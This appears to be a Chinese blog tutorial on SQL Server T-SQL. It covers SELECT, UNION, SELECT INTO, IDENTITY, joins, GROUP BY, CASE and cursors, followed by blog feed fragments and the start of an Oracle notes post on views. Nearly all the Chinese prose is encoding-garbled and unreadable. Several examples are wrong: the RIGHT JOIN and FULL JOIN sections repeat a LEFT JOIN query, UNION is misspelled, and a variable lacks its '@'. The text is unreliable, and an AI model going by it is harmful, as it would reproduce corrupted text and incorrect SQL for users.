姝ゅ璇硶鏍煎紡鍙槸甯哥敤鏍煎紡錛屽茍涓嶆槸SQL鏍囧噯鏍煎紡錛屾爣鍑嗘牸寮忚鍙傞槄銆奣-SQL銆?/div>
錛堝湪渚嬪瓙涓殑SQL鏃犲疄闄呮剰涔夛級
閫夋嫨
SELECT
SELECT 鍙互閫夋嫨鎸囧畾鐨勬暟鎹垪
濡傦細(xì)
SELECT * FROM sysobjects
SELECT [name] FROM syscolumns
褰撳湪SQL涓瓨鍦ㄧ郴緇熶繚鐣欏瓧鏃跺簲鐢ㄢ淸]鈥濆紩璧鳳紝鎴栧湪SQL涓瓨鍦ㄧ壒孌婂瓧絎︿篃搴旂敤鈥淸]鈥濆紩璧鳳紝
濡傦細(xì)
聽聽聽聽聽聽 SELECT [Object Name] FROM Objects
鍦ㄤ嬌鐢ㄥ埆鍚嶆椂涔熷簲娉ㄦ剰浠ヤ笂鍘熷垯錛屽埆鍚嶄嬌鐢ㄥ彲浠ョ敤浠ヤ笅涓ょ鏂規(guī)硶錛?/div>
聽聽聽聽聽聽 Column_name AS alias
聽聽聽聽聽聽 Column_name alias
涓棿鐨凙S鍙互鐪佺暐
鍦⊿ELECT涓彲浠ヤ嬌鐢ㄦ潯浠墮夋嫨璇硶錛屽弬瑙佷笅闈㈢殑鈥滄潯浠垛?/div>
聽聽聽聽聽聽 濡傦細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽 SELECT [name],xtype,CASE WHEN xtype=鈥橴鈥?THEN 鈥樼敤鎴瘋〃鈥?ELSE CASE WHEN xtype=鈥橲鈥?THEN 鈥樼郴緇熻〃鈥?END END AS 綾誨瀷 FROM sysobjects
榪斿洖琛細(xì)
name
xtype
綾誨瀷
syscolumns
S
緋葷粺琛?/div>
tabledefine
U
鐢ㄦ埛琛?/div>
灝嗕袱涓煡璇㈠悎鎴愬崟鐙殑榪斿洖琛細(xì)
鐢║NION鍏抽敭瀛?/div>
濡係ELECT A,B FROM Table1
聽 UNOIN
聽 SELECT C,D FROM Table2
璇存槑錛?/div>
聽聽聽聽聽聽 鍦ㄤ嬌鐢║NION鏃訛紝鑻ユ棤ALL鍙傛暟鍒欓粯璁ゅ皢榪囪檻鐩稿悓鐨勮褰曪紝
聽聽聽聽聽聽 濡傦細(xì)
Table1
Table2
ID
TF1
VALUE1
ID
TF2
VALUE2
1
A
10
5
A
10
5
B
20
6
D
21
2
A
30
3
C
31
3
C
40
1
B
41
聽聽聽聽聽聽 SELECT TF1,VALUE1 FROM Table1
聽聽聽聽聽聽 UNION
聽聽聽聽聽聽 SELECT TF2,VALUE2 FROM Table2
聽聽聽聽聽聽 榪斿洖琛細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽
TF1
VALUE1
A
10
B
20
A
30
C
40
D
21
C
31
B
41
聽聽聽聽聽聽 鍏朵腑鍙互鐪嬪嚭灝戜簡涓涓漈F2=A ,VALUE2=10鈥濈殑璁板綍
聽聽聽聽聽聽 浣嗙敤浠ヤ笅鏌ヨ鏃?/div>
聽聽聽聽聽聽 SELECT TF1,VALUE1 FROM Table1
聽聽聽聽聽聽 UNION聽 ALL
聽聽聽聽聽聽 SELECT TF2,VALUE2 FROM Table2
聽聽聽聽聽聽 榪斿洖琛細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽
TF1
VALUE1
A
10
B
20
A
30
C
40
A
10
D
21
C
31
B
41
聽聽聽聽聽聽 鍒氭鏌ヨ灝嗚繑鍥炴墍鏈夎褰?/div>
聽聽聽聽聽聽 姝ら棶棰樺彲鑳戒細(xì)鍑虹幇鍦ㄦ姤琛ㄧ粺璁′笂錛屽涓涓憳宸ュ湪涓嶅悓鏃ユ湡鍐呭仛浜嗙浉鍚岀殑浜у搧涓庢暟鎹紝浣嗗湪浣跨敤闈濧LL鏂瑰紡榪涜鍚堣鏃跺皢浼?xì)灏戝悎璁′竴鏉¤褰?/div>
涓嶪NTO鑱旂敤
SELECT 鈥? INTO B FROM A
鍙互灝咥 琛ㄧ殑鎸囧畾鏁版嵁瀛樺叆B琛ㄤ腑
搴旂敤綾誨瀷錛?/div>
澶囦喚鏁版嵁琛細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽 SELECT * INTO Table1_bak FROM Table1
聽聽聽聽聽聽 鍒涘緩鏂拌〃
聽聽聽聽聽聽聽聽聽聽聽聽聽 SELECT * INTO New_Table1 FROM Table1 WHERE 1<>1
聽聽聽聽聽聽聽聽聽聽聽聽聽 SELECT TOP 0 * INTO New_Table1 FROM Table1
聽聽聽聽聽聽 淇濆瓨鏌ヨ緇撴灉
聽聽聽聽聽聽聽聽聽聽聽聽聽 SELECT Field1,Field2 INTO Result FROM Table1 WHERE ID>1000
聽聽聽聽聽聽 鍒涘緩鏂拌〃騫跺湪鏂拌〃涓姞鍏ヨ嚜鍔ㄥ簭鍙?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽 涓琛ㄦ湁浜涜〃闇瑕佷竴涓嚜鍔ㄧ紪鍙峰垪鏉ュ尯鍒簬鍚勮
聽聽聽聽聽聽聽聽聽聽聽聽聽 SELECT IDENTITY (INT,1,1) AS AutoId,* INTO new_Table1 FROM Table1
聽聽聽聽聽聽聽聽聽聽聽聽聽 鍏朵腑IDENTITY鍑芥暟璇存槑錛?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 鏍煎紡錛?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 IDENTITY (<datatype> [seed,increment])
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 鍙傛暟璇存槑錛?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 Datatype:鏁版嵁綾誨瀷錛岃璁板綍鏁板畾綾誨瀷錛屼竴鑸彲浠ュ畾INT鍨嬶紝鍏蜂綋鍙互鍙傝僑QL鐨勬瀬闄愬弬鏁?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 Seed:寮濮嬫暟鍊鹼紝鍗沖紑濮嬬殑鍩烘暟錛岄粯璁や負(fù)1
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 Increment:澧為噺錛屾闀垮嵆鏁版嵁闂寸殑闂撮殧錛岄粯璁や負(fù)1
聽聽聽聽聽聽聽聽聽聽聽聽聽 涓婇潰鐨凷QL鍗寵〃紺猴紝鑷姩緙栧彿浠?寮濮嬪茍姣忚鍔?
榪斿洖鐨勮〃涓猴細(xì)
AutoId
Field1
Field2
1
Hello
Joy
2
Hello
Tom
3
Hi
Lily
4
Hello
Lily
聽聽聽聽聽聽聽聽聽聽聽聽聽 娉細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 IDENTITY榪樺彲浠ュ湪鍒涘緩琛ㄦ椂璁劇疆
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 鏍煎紡錛?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 IDENTITY ([seed, increment])
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 濡傦細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 鍒涘緩琛?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 CREATE TABLE Table1 (
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 AutoId int IDENTITY(1,1), 鎴?autoid int identity
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 Field1 nvarchar(30),
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 Field2 nvarchar(30)
)
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 淇敼琛?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 ALTER TABLE Table1 ADD AutoId int IDENTITY (1,1)
聽聽聽聽聽聽聽聽聽聽聽聽聽 鍦ㄨ繘琛屾暟鎹彃鍏ユ椂搴旀敞鎰廔DENTITY_INSERT榪欎釜灞炴х殑璁劇疆
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 褰?SET IDENTITY_INSERT <table> ON 鏃訛紝鍒欎笉鑳借繘琛岄殣寮忔彃鍏?/div>
聽聽聽聽聽聽 聽聽聽聽聽聽聽聽聽聽聽聽聽 濡傦細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 SET IDENTITY_INSERT Table1 ON
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 INSERT INTO Table1 SELECT (鈥榬1c1鈥?鈥檙1c2鈥? 聽聽聽聽聽聽聽 --榪欐牱灝變細(xì)鍑洪敊
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 蹇呴渶浣跨敤錛?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 INSERT INTO Table1 SELECT (1,鈥橰1C1鈥?鈥橰1C2鈥?
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 鍙兘鍦⊿ET IDENTITY_INSERT <table> OFF 鏃舵墠鍏佽闅愬紡鎻掑叆
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 濡傦細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 SET IDENTITY_INSERT Table OFF
蹇呴渶浣跨敤錛?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 INSERT INTO Table1 SELECT (鈥榬1c1鈥?鈥檙1c2鈥? 聽聽聽聽聽聽聽
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 鍚﹀垯
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 INSERT INTO Table1 SELECT (1,鈥橰1C1鈥?鈥橰1C2鈥? --榪欐牱灝變細(xì)鍑洪敊
聽聽聽聽聽聽聽聽聽聽聽聽聽 鍦ㄤ嬌鐢ㄩ殣寮忔彃鍏ュ悗鍙互鐢ˊ@IDENTITY榪欎釜緋葷粺鍊兼潵榪斿洖鎻掑叆琛岀殑緙栧彿
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 INSERT INTO Table1 SELECT(鈥楻1C1鈥?鈥橰1C2鈥?
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 榪斿洖琛細(xì)
AutoID
Field1
Field2
1
R1C1
R1C2
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 SELECT @@IDENTITY
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 榪斿洖鍊鹼細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 1
聽聽聽聽聽聽聽聽聽聽聽聽聽 鍦ㄥ簲鐢ㄧ▼搴忎腑鍙互鐢ㄤ互涓嬫柟娉曞仛錛?/div>
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 set recs=cnn.execute(鈥淚NSERT INTO Table1 SELECT(鈥楻1C1鈥?鈥橰1C2鈥?鈥?
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 recordnum=cnn.execute(鈥淪ELECT @@IDENTITY鈥?.fields(0).value
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 浠ヤ笂璇彞鎵ц鍚巖ecordnum鐨勫煎皢璁劇疆涓烘渶鍚庝竴涓嚜鍔ㄧ紪鍙?/div>
鍏寵仈
聽聽聽聽聽聽 鐢ㄤ緥:
Table1
Table2
ID
TF1
VALUE1
ID
TF2
VALUE2
1
TFI1-1
10
5
TFI2-1
11
5
TFI1-2
20
6
TFI2-2
21
2
TFI1-3
30
3
TFI2-3
31
3
TFI1-4
40
1
TFI2-4
41
Table2
INNER JOIN
鍙樉紺轟袱琛ㄤ竴涓瀵瑰簲鐨勮褰?/div>
SELECT * FROM Table1 INNER JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID
榪斿洖琛細(xì)
ID
TF1
VALUE1
ID
TF2
VALUE2
1
TFI1-1
10
1
TFI2-4
41
3
TFI1-4
40
3
TFI2-3
31
5
TFI1-2
20
5
TFI2-1
11
LEFT JOIN(LEFT OUTER JOIN)
鏄劇ず宸﹁〃鎵鏈夎褰曚笌鍙寵〃瀵瑰簲宸﹁〃鐨勮褰曪紝褰撳湪鍙寵〃涓棤璁板綍錛屽垯鍙寵〃鐩稿簲瀛楁鐢∟ULL濉厖
SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID
榪斿洖琛細(xì)
ID
TF1
VALUE1
ID
TF2
VALUE2
1
TFI1-1
10
1
TFI2-4
41
2
TFI1-3
30
NULL
NULL
NULL
3
TFI1-4
40
3
TFI2-3
31
5
TFI1-2
20
5
TFI2-1
11
RIGHT JOIN(LEFT OUTER JOIN)
鏄劇ず鍙寵〃鎵鏈夎褰曚笌宸﹁〃瀵瑰簲鍙寵〃鐨勮褰曪紝褰撳湪宸﹁〃涓棤璁板綍錛屽垯宸﹁〃鐩稿簲瀛楁鐢∟ULL濉厖
SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID
榪斿洖琛細(xì)
ID
TF1
VALUE1
ID
TF2
VALUE2
NULL
NULL
NULL
6
TFI2-2
21
1
TFI1-1
10
1
TFI2-4
41
3
TFI1-4
40
3
TFI2-3
31
5
TFI1-2
20
5
TFI2-1
11
FULL JOIN(FULL OUTER JOIN)
鏄劇ず宸﹀彸涓よ〃鎵鏈夎褰曪紝褰撳乏琛ㄦ棤璁板綍錛屽垯宸﹁〃鐩稿簲瀛楁鐢∟ULL濉厖錛屽綋鍙寵〃鏃犺褰曞垯鍙寵〃鐩稿叧瀛楁鐢∟ULL濉厖
SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID
榪斿洖琛細(xì)
ID
TF1
VALUE1
ID
TF2
VALUE2
1
TFI1-1
10
1
TFI2-4
41
2
TFI1-3
30
NULL
NULL
NULL
3
TFI1-4
40
3
TFI2-3
31
5
TFI1-2
20
5
TFI2-1
11
NULL
NULL
NULL
6
TFI2-2
21
璇存槑錛?/div>
聽聽聽聽聽聽 鍦ㄨ繘琛屽綰у叧鑱旂殑鏃跺欏簲璇ラ噰鐢ㄥ氨榪戝叧鑱斿師鍒?/div>
濡傦細(xì)
聽聽聽聽聽聽 SELECT * FROM Table1 INNER JOIN Table2 INNER JOIN Table2-1 ON Table2.ID=Table2-1.ID ON Table1.ID=Table2.ID
鍗砊able2涓嶵able2-1鍏寵仈
聽 Table1涓嶵able2鍏寵仈
寤烘剰錛?/div>
聽聽聽聽聽聽 鍦ㄥ啓姝ょ被鍏寵仈鏃訛紝鏈濂藉皢鍩鴻鍙ユ牸寮忕粨鏋勫寲
聽聽聽聽聽聽 濡傦細(xì)
聽聽聽聽聽聽 SELECT *
聽聽聽聽聽聽 FROM
聽聽聽聽聽聽 Table1
聽聽聽聽聽聽 INNER JOIN Table2
聽聽聽聽聽聽聽聽聽聽聽聽聽 INNER JOIN Table2-1
聽聽聽聽聽聽聽聽聽聽聽聽聽 聽 ON Table2.ID=Table2-1.ID
聽聽聽聽聽聽 ON Table1.ID=Table2.ID
聽聽聽聽聽聽 WHERE
聽聽聽聽聽聽 ID IN (1,2,3)
娉細(xì)
聽聽聽聽聽聽 鍦ㄥ啓瀹屾煡璇㈣鍙ュ悗錛屽彲浠ョ敱鈥滀紒涓氱鐞嗗櫒鈥濊繘琛孲QL璇彞鐨勬牸寮忓寲錛屼絾榪欎竴榪囩▼鍑烘潵鐨勮鍙ヤ竴瀹氳榪涜嫻嬭瘯錛屽洜涓哄湪浠栬嚜鍔ㄦ牸寮忓寲鏃跺彲鑳戒細(xì)鎶婃煇浜涘鏉傜殑鍏崇郴鎼為敊
鍒嗙粍
GROUP BY
錛堟病浠涔堝ソ璇達(dá)紒錛侊級
濡傦細(xì)
聽聽聽聽聽聽 SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B ORDER BY A
娉細(xì)
聽聽聽聽聽聽 鍦ㄨ繘琛孏ROUP BY 鏃跺簲璇ユ敞鎰廏ROUP BY 涓瓧孌電殑浣跨敤錛?/div>
聽聽聽聽聽聽 鍙鍦ㄥ悓涓鏌ヨ璇彞涓垯鎵鏈夋湭榪涜楠ゅ悎鎿嶄綔鐨勫瓧孌甸兘闇瑕佽GROUP錛?/div>
聽聽聽聽聽聽 濡備笂闈㈢殑SQL涓紝瀛楁A(chǔ),涓嶣閮芥湭琚鍚堬紝騫跺瓧孌礎(chǔ)琚帓搴忥紝鑰屽瓧孌礑琚鍚堝嚱鏁癝UM榪涜姹囨葷粺璁?/div>
聽聽聽聽聽聽 鍥犳瀛楁A(chǔ),B闇瑕佽GROUP 鑰孌鍒欎笉鐢?/div>
濡傦細(xì)
聽 聽聽聽 SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B,C ORDER BY C
鍦ㄦ鏌ヨ涓紝铏界劧瀛楁C娌℃湁琚夋嫨錛屼絾浠栬ORDER鍥犳瀛楁C涔熷簲璇ュ湪GROUP鐨勫瓧孌典腑
濡傦細(xì)
聽聽聽聽聽聽 SELECT A,B,SUM(D) FROM Table1 WHERE A IN (SELECT D FROM Table1 T1 WHERE NOT C IS NULL) GROUP BY A,B,C ORDER BY C
聽聽聽聽聽聽 鍦ㄦ鏌ヨ涓瓧孌礎(chǔ),B涓洪夋嫨瀛楁錛屽瓧孌礐涓烘帓搴忓瓧孌碉紝浣嗗瓧孌礑铏界劧涔熷湪鍚屼竴寮犺〃Table1涓紝浣嗕粬鍦ㄥ瓙鏌ヨ涓洜姝や笉鐢ㄨ繘琛屽D鐨凣ROUP
聽聽聽聽聽聽 鑻ヨ瀵硅仛鍚堢粨鏋滆繘琛岀瓫閫夊垯搴旇浣跨敤HAVING鍏抽敭瀛楋紝鑰屼笉鏄疻HERE鍏抽敭瀛楋紝
聽聽聽聽聽聽 濡傦細(xì)
聽聽聽聽聽聽 SELECT A,B,SUM(D) FROM Table1 WHERE COUNT(*)>2 GROUP BY A,B聽聽 ---榪欐牱灝嗕細(xì)鍑洪敊錛屽洜涓篊OUNT涓轟竴涓仛鍚堝嚱鏁幫紝鍦╓HERE瀛愬彞涓笉鑳藉鑱氬悎鍑芥暟榪涜絳涢?/div>
聽聽聽聽聽聽 搴旀敼涓猴細(xì)
聽聽聽聽聽聽 SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B HAVING COUNT(*)>2
搴旂敤GROUP鍙互榪涜鍒嗙被緇熻
鐩稿叧鐨勫叧閿瓧涓篊UBE,ROLLUP浣嗕笉寤烘剰浣跨敤榪欎袱涓叧閿瓧錛?/div>
鍦ㄤ竴鑸儏鍐典笅錛屽鏋滅▼搴忎腑鐨凣RID鏈夊垎綾繪眹鎬誨姛鑳斤紝閭g浉搴旂殑閫熷害浼?xì)姣斾娇鐢q欎袱涓叧閿瓧瑕佸揩錛?/div>
涓庤繖涓や釜鍏抽敭瀛椾竴璧蜂嬌鐢ㄧ殑鑱氬悎鍑芥暟涓篏ROUPING()錛屽嵆褰撹繘琛岄」鐩垎綾繪眹鎬繪椂GROUPING()灝嗕細(xì)榪斿洖1錛屽弽涔嬪垯涓?錛屼負(fù)鍙互鍐欑粺璁℃爣棰樻椂鎻愪緵鍙傝冿紝
鍏蜂綋璇存槑璇峰弬瑙併奣-SQL銆?/div>
鍏蜂綋瀹炰緥鍦ㄣ奡OMIC浜哄姏璧勬簮綆$悊銆嬩腑<閮ㄩ棬浜哄憳姹囨昏〃>涓湁搴旂敤
鏉′歡
CASE WHEN
姝ょ粍鍏抽敭瀛楃殑鍔熻兘鍙互浠f浛IF鈥HEN鈥?ELSE鎴朣ELECT CASE
璇硶緇撴瀯錛?/div>
CASE聽 [expression]
聽聽 聽聽聽WHEN <condition> THEN result
聽聽聽 聽聽聽聽[ELSE else_result ]
聽聽聽 END
鍦ㄦ煡璇腑浣跨敤姝よ鍙ユ椂搴斿敖閲忓湪END鍚庡姞鍒悕錛?/div>
聽聽聽聽聽聽 濡傦細(xì)
聽聽聽聽聽聽聽聽聽聽聽聽聽 SELECT [name],xtype,CASE WHEN xtype=鈥橴鈥?THEN 鈥樼敤鎴瘋〃鈥?ELSE CASE WHEN xtype=鈥橲鈥?THEN 鈥樼郴緇?/div>
榪斿洖琛細(xì)
name
xtype
綾誨瀷
syscolumns
S
緋葷粺琛?/div>
tabledefine
U
鐢ㄦ埛琛?/div>
聽聽聽聽聽聽 璇︾粏鐢ㄤ緥璇峰弬鑰冦婄漢緇囪浠跺伐璧勩嬩腑<浜哄憳-閮ㄩ棬浜ч噺姹囨昏〃>
聽聽聽聽聽聽 鐢ㄦ璇彞涓嶴ELECT鐢║NION鑱旂敤鑳藉仛琛屽垪鎹綅
榪囩▼鎬ц鍙ュ簲鐢?/div>
鍙橀噺瀹氫箟
鍦⊿QL涓敤鎴峰彉閲忔槸浠鎵撳ご鐨勫瓧涓?緋葷粺鍙橀噺鐢ˊ@鎵撳ご
濡傦細(xì)
聽聽聽聽聽聽 @i
聽聽聽聽聽聽 @tmpStr
瀹氫箟鏂規(guī)硶錛?/div>
聽Declare @i int
聽Declare @tmpStr nvarchar(30)
聽鍦ㄥ畬鎴愬彉閲忓畾涔夊悗鏈濂借繘琛屽垵濮嬭緗紝濡?/div>
Set @i=0
Set tmpStr=鈥欌?/div>
鎴?/div>
Select @i=0,@tmpStr=鈥欌?/div>
聽鍦⊿QL涓鍙橀噺鐨勮祴鍊煎簲鐢⊿ET鎴朣ELECT榪涜
娓告爣瀹氫箟
娓告爣錛屽彲浠ュ皢鏌ヨ緇撴灉榪斿洖涓烘父鏍囩被鍨?/div>
瀹氫箟鏂規(guī)硶錛?/div>
Declare cursor <CurName>
聽 For <SQL SCRIPT>
濡?
declare cursor GetName
聽 for SELECT [name] FROM sysobjects
娓告爣浣跨敤鏂規(guī)硶錛?/div>
鎵撳紑娓告爣錛?/div>
Open <CurName>
濡傦細(xì)open GetName
媯绱㈡父鏍囷細(xì)
Fetch [NEXT | PRIOR | FIRST | LAST] form <CurName> [into <valuename>鈥
濡傦細(xì)
Fetch next from GetName into @tmpName
褰撳彇鍊兼垚鍔熷悗錛岀浉搴旇褰曞間細(xì)濉厖鍦ˊtmpName鍙橀噺涓紝騫禓@FETCH_STATUS鍙橀噺緗負(fù)0錛?/div>
鑻ュけ璐ュ垯@@FETCH_STATUS鍙橀噺涓?1
鍏抽棴娓告爣
鍦ㄤ嬌鐢ㄥ畬娓告爣鍚庡叧闂粬錛屼互渚垮叾浠栬繘紼嬩嬌鐢ㄦ娓告爣
CLOSE <curname>
濡傦細(xì)
聽聽聽聽聽聽 Close GetName
鍒犻櫎娓告爣
鍦ㄤ嬌鐢ㄥ畬娓告爣鍚庯紝濡備笉鍐嶉渶瑕佸簲璇ュ垹闄ゅ凡浣跨敤娓告爣錛?/div>
DEALLOCATE <curname>
濡傦細(xì)
聽Deallocate GetName


]]>ORACLE SQL鎬ц兘浼樺寲緋誨垪 http://m.tkk7.com/19851985lili/articles/102512.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenThu, 08 Mar 2007 00:37:00 GMThttp://m.tkk7.com/19851985lili/articles/102512.htmlhttp://m.tkk7.com/19851985lili/comments/102512.htmlhttp://m.tkk7.com/19851985lili/articles/102512.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/102512.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/102512.html闃呰鍏ㄦ枃

]]>
ORACLE瀛︿範(fàn)絎旇 瑙嗗浘http://m.tkk7.com/19851985lili/articles/102460.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenWed, 07 Mar 2007 12:08:00 GMThttp://m.tkk7.com/19851985lili/articles/102460.htmlhttp://m.tkk7.com/19851985lili/comments/102460.htmlhttp://m.tkk7.com/19851985lili/articles/102460.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/102460.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/102460.htmlORACLE瀛︿範(fàn)絎旇 瑙嗗浘
2007-01-29 09:34

Oracle鐨勬暟鎹簱瀵硅薄鍒嗕負(fù)浜旂錛氳〃錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘錛屽簭鍒楋紝绱㈠紩鍜屽悓涔夎瘝銆?/font>

    瑙嗗浘鏄熀浜庝竴涓〃鎴栧涓〃鎴?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘鐨勯昏緫琛紝鏈韓涓嶅寘鍚暟鎹紝閫氳繃瀹冨彲浠ュ琛ㄩ噷闈㈢殑鏁版嵁榪涜鏌ヨ鍜屼慨鏀廣?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘鍩轟簬鐨勮〃縐頒負(fù)鍩鴻〃銆?/font>

    瑙嗗浘鏄瓨鍌ㄥ湪鏁版嵁瀛楀吀閲岀殑涓鏉elect璇彞銆?nbsp;閫氳繃鍒涘緩瑙嗗浘鍙互鎻愬彇鏁版嵁鐨勯昏緫涓婄殑闆嗗悎鎴栫粍鍚堛?/font>

瑙嗗浘鐨勪紭鐐癸細(xì)

      1.瀵規(guī)暟鎹簱鐨勮闂紝鍥犱負(fù)瑙嗗浘鍙互鏈夐夋嫨鎬х殑閫夊彇鏁版嵁搴撻噷鐨勪竴閮ㄥ垎銆?/font>

      2.鐢ㄦ埛閫氳繃綆鍗曠殑鏌ヨ鍙互浠庡鏉傛煡璇腑寰楀埌緇撴灉銆?/font>

      3.緇存姢鏁版嵁鐨勭嫭绔嬫э紝璇曞浘鍙粠澶氫釜琛ㄦ绱㈡暟鎹?/font>

      4.瀵逛簬鐩稿悓鐨勬暟鎹彲浜х敓涓嶅悓鐨?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘銆?/font>

瑙嗗浘鍒嗕負(fù)綆鍗?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘鍜屽鏉?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘錛?/font>

      綆鍗?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘鍙粠鍗曡〃閲岃幏鍙栨暟鎹?br>      澶嶆潅瑙嗗浘浠庡琛?br> 
      綆鍗?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘涓嶅寘鍚嚱鏁板拰鏁版嵁緇?br>      澶嶆潅瑙嗗浘鍖呭惈

     綆鍗?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘鍙互瀹炵幇DML鎿嶄綔
     澶嶆潅瑙嗗浘涓嶅彲浠?

瑙嗗浘鐨勫垱寤猴細(xì)

    CREATE [OR REPLACE] [FORCE|NOFORCE] VIEW view_name 

   [( alias [,  alias ]...)] 

  AS  subquery  
  [WITH CHECK OPTION [CONSTRAINT  constraint ]] 
  [WITH READ ONLY] 
OR REPLACE    錛氳嫢鎵鍒涘緩鐨勮瘯鍥懼凡緇忓瓨鍦紝ORACLE鑷姩閲嶅緩璇?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘錛?/font>
FORCE              錛氫笉綆″熀琛ㄦ槸鍚﹀瓨鍦?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">ORACLE閮戒細(xì)鑷姩鍒涘緩璇?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘錛?/font>
NOFORCE         錛氬彧鏈夊熀琛ㄩ兘瀛樺湪ORACLE鎵嶄細(xì)鍒涘緩璇?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘錛?/font>
alias                   錛氫負(fù)瑙嗗浘浜х敓鐨勫垪瀹氫箟鐨勫埆鍚嶏紱
subquery           錛氫竴鏉″畬鏁寸殑SELECT璇彞錛屽彲浠ュ湪璇ヨ鍙ヤ腑瀹氫箟鍒悕錛?/font>
WITH CHECK  OPTION 錛?/font>
                            鎻掑叆鎴栦慨鏀圭殑鏁版嵁琛屽繀欏繪弧瓚?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘瀹氫箟鐨勭害鏉燂紱
WITH READ ONLY 錛?/font>
                           璇?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘涓婁笉鑳借繘琛屼換浣旸ML鎿嶄綔銆?/font>
渚嬪錛?/font>
       CREATE  OR  REPLACE  VIEW  dept_sum_vw
               (name,minsal,maxsal,avgsal)
       AS  SELECT d.dname,min(e.sal),max(e.sal),avg(e.sal)
       FROM    emp e,dept d
